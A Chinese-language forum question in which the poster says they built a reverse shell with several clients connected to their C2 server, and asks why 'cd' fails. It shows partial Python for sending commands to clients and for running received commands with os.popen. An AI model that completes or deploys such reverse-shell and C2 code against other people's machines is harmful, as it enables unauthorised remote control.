无法在反向shell中执行cd命令

2024-09-15 04:44:42 发布

您现在位置:Python中文网/ 问答频道 /正文

我创建了一个反向shell,我有多个客户端连接到我的C2服务器,我能够运行一些命令,但由于某种原因我无法更改目录,它只返回OK或nothing。 我不太确定我做错了什么

# Send commands to client or a friend
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                break
            if cmd == 'exit':
                break
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(20480), "utf-8")
                print(client_response, end="")
        except:
            print("Error sending commands")
            break
    while True:
        cmd = s.recv(20480)
        if cmd[:2] == "cd":
            os.chdir(str(cmd[3:]))
        else:
            o = os.popen(cmd).read()
            s.send(o)

这是我在输出中得到的:

enter image description here

这是我在client.py文件中的代码,它返回OK消息

#if the command has no output, send 'OK' so the server knows everything is okay
if len(result) == 0:
   result = 'OK' .encode()
#send the result to the server
s.send(result)

Tags: thetocmdclientsendtrueifok